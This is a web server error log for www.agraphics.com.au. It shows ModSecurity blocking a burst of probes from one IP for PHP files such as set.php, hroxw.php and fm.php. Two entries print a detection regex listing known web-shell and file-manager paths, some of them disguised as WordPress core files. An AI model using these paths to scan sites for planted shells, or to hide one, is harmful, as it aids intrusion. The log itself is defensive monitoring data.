[Wed Apr 15 19:02:50.162032 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:13581] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wWhcEkLCmvF0fjDelaQAAAJU"]
[Wed Apr 15 19:02:50.370656 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:8227] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wWseG3wSKTO7NWFGI7QAAAMw"]
[Wed Apr 15 19:02:50.859291 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:25732] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wWng-gnM2Ga0cGAD8AgAAARQ"]
[Wed Apr 15 19:02:50.970708 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:11006] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wWseG3wSKTO7NWFGI8QAAANU"]
[Wed Apr 15 19:02:51.413079 2026] [:error] [pid 30958:tid 31017] [client 51.120.68.159:34479] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wW8eG3wSKTO7NWFGI8gAAAME"]
[Wed Apr 15 19:02:51.524799 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:24063] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wW3g-gnM2Ga0cGAD8BAAAAQs"]
[Wed Apr 15 19:02:52.021759 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:26935] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad9wXHg-gnM2Ga0cGAD8BQAAARA"]
[Wed Apr 15 19:02:52.077486 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:31085] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXHg-gnM2Ga0cGAD8BgAAAQQ"]
[Wed Apr 15 19:02:52.613776 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:25784] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXH5gwVEVXHfVSipr1QAAAFc"]
[Wed Apr 15 19:02:52.620692 2026] [:error] [pid 30956:tid 30969] [client 51.120.68.159:25734] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXEBGUpjaWntNYq1d0AAAAAk"]
[Wed Apr 15 19:02:53.211034 2026] [:error] [pid 30956:tid 30963] [client 51.120.68.159:13989] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXUBGUpjaWntNYq1d0QAAAAM"]
[Wed Apr 15 19:02:53.228691 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:18289] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXUBGUpjaWntNYq1d0gAAABE"]
[Wed Apr 15 19:02:53.771111 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:25782] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXUBGUpjaWntNYq1d0wAAAAY"]
[Wed Apr 15 19:02:53.771802 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:8214] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXRcEkLCmvF0fjDelcQAAAIM"]
[Wed Apr 15 19:02:54.292654 2026] [:error] [pid 30956:tid 30981] [client 51.120.68.159:10953] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wXkBGUpjaWntNYq1d1AAAABU"]
[Wed Apr 15 19:02:54.313729 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:8204] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad9wXseG3wSKTO7NWFGI9wAAANA"]
[Wed Apr 15 19:02:54.877005 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:34436] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wXng-gnM2Ga0cGAD8DQAAAQY"]
[Wed Apr 15 19:02:54.976098 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:27385] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wXseG3wSKTO7NWFGI-AAAAMg"]
[Wed Apr 15 19:02:55.437016 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:34494] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wX3g-gnM2Ga0cGAD8DwAAAQ8"]
[Wed Apr 15 19:02:55.545326 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:15162] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wX3g-gnM2Ga0cGAD8EAAAARA"]
[Wed Apr 15 19:02:55.978476 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:44072] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wX3g-gnM2Ga0cGAD8EwAAAQg"]
[Wed Apr 15 19:02:56.163393 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:44045] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wYHg-gnM2Ga0cGAD8FQAAAQM"]
[Wed Apr 15 19:02:56.499722 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:43070] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9wYBcEkLCmvF0fjDelcwAAAIc"]
[Wed Apr 15 19:02:56.764092 2026] [:error] [pid 37370:tid 37377] [client 51.120.68.159:10962] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad9wYHg-gnM2Ga0cGAD8FwAAAQU"]
[Wed Apr 15 19:02:57.029202 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:15116] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9wYXg-gnM2Ga0cGAD8GwAAAQY"]
[Wed Apr 15 19:02:57.324712 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:25744] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9wYXg-gnM2Ga0cGAD8HgAAARA"]
[Wed Apr 15 19:02:57.629032 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:14003] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9wYceG3wSKTO7NWFGI-QAAAMM"]
[Wed Apr 15 19:02:57.988190 2026] [:error] [pid 30956:tid 30972] [client 51.120.68.159:34458] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad9wYUBGUpjaWntNYq1d1QAAAAw"]
[Wed Apr 15 19:02:58.193651 2026] [proxy_fcgi:error] [pid 30957:tid 30989] [client 51.120.68.159:3299] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:58.462448 2026] [proxy_fcgi:error] [pid 30957:tid 30996] [client 51.120.68.159:3299] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:58.523659 2026] [proxy_fcgi:error] [pid 37370:tid 37395] [client 51.120.68.159:28136] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:58.739326 2026] [proxy_fcgi:error] [pid 30957:tid 30998] [client 51.120.68.159:3299] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:58.787587 2026] [proxy_fcgi:error] [pid 37370:tid 37387] [client 51.120.68.159:28136] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:59.049460 2026] [proxy_fcgi:error] [pid 37370:tid 37386] [client 51.120.68.159:28136] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:02:59.259611 2026] [:error] [pid 30957:tid 31000] [client 51.120.68.159:3299] [client 51.120.68.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad9wY35gwVEVXHfVSipr2gAAAEs"]
[Wed Apr 15 19:02:59.575785 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:28136] [client 51.120.68.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad9wY3g-gnM2Ga0cGAD8LgAAARI"]
[Wed Apr 15 19:03:00.151454 2026] [proxy_fcgi:error] [pid 31053:tid 31056] [client 51.120.68.159:26883] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:03:00.581062 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:9387] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9wZHg-gnM2Ga0cGAD8MQAAARY"]
[Wed Apr 15 19:03:01.284515 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:31103] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9wZXg-gnM2Ga0cGAD8MgAAAQE"]
[Wed Apr 15 19:03:01.947360 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:26237] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9wZRcEkLCmvF0fjDelfwAAAIw"]
[Wed Apr 15 19:03:02.622833 2026] [:error] [pid 30956:tid 30976] [client 51.120.68.159:27739] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9wZkBGUpjaWntNYq1d3AAAABA"]
[Wed Apr 15 19:11:08.213376 2026] [proxy_fcgi:error] [pid 30958:tid 31034] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:08.484626 2026] [proxy_fcgi:error] [pid 30958:tid 31040] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:08.748571 2026] [proxy_fcgi:error] [pid 30958:tid 31039] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:09.011392 2026] [proxy_fcgi:error] [pid 30958:tid 31032] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:09.276451 2026] [proxy_fcgi:error] [pid 30958:tid 31021] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:09.801189 2026] [proxy_fcgi:error] [pid 30958:tid 31018] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:10.069144 2026] [proxy_fcgi:error] [pid 30958:tid 31037] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:10.331875 2026] [proxy_fcgi:error] [pid 30958:tid 31033] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:10.594588 2026] [proxy_fcgi:error] [pid 30958:tid 31030] [client 51.120.68.159:40885] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:11:10.853528 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:40885] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yTseG3wSKTO7NWFGKqQAAAMQ"]
[Wed Apr 15 19:11:11.381041 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:23501] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yT8eG3wSKTO7NWFGKqwAAAMs"]
[Wed Apr 15 19:11:12.199450 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:24240] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yUMeG3wSKTO7NWFGKrQAAAMM"]
[Wed Apr 15 19:11:12.785504 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:23525] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yUEBGUpjaWntNYq1ewwAAAAs"]
[Wed Apr 15 19:11:13.342809 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:25659] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yUXg-gnM2Ga0cGAAADAAAARc"]
[Wed Apr 15 19:11:13.873962 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:33179] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yURcEkLCmvF0fjDen-AAAAIY"]
[Wed Apr 15 19:11:14.468333 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:12337] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yUhcEkLCmvF0fjDen-wAAAJI"]
[Wed Apr 15 19:11:15.036058 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:24248] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9yU35gwVEVXHfVSipuEQAAAEc"]
[Wed Apr 15 19:11:15.566268 2026] [:error] [pid 30957:tid 30999] [client 51.120.68.159:44921] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yU35gwVEVXHfVSipuEwAAAEo"]
[Wed Apr 15 19:11:16.100845 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:39141] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yVBcEkLCmvF0fjDeoAwAAAIE"]
[Wed Apr 15 19:11:16.669133 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:44877] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yVHg-gnM2Ga0cGAAADgAAAQs"]
[Wed Apr 15 19:11:17.342901 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:44884] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9yVRcEkLCmvF0fjDeoCgAAAJU"]
[Wed Apr 15 19:11:17.932991 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:39150] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yVceG3wSKTO7NWFGKrwAAANc"]
[Wed Apr 15 19:11:18.540622 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:5766] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yVhcEkLCmvF0fjDeoEAAAAJc"]
[Wed Apr 15 19:11:19.144856 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:5771] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yVxcEkLCmvF0fjDeoFQAAAIc"]
[Wed Apr 15 19:11:19.682533 2026] [:error] [pid 30958:tid 31021] [client 51.120.68.159:41936] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9yV8eG3wSKTO7NWFGKsQAAAMU"]
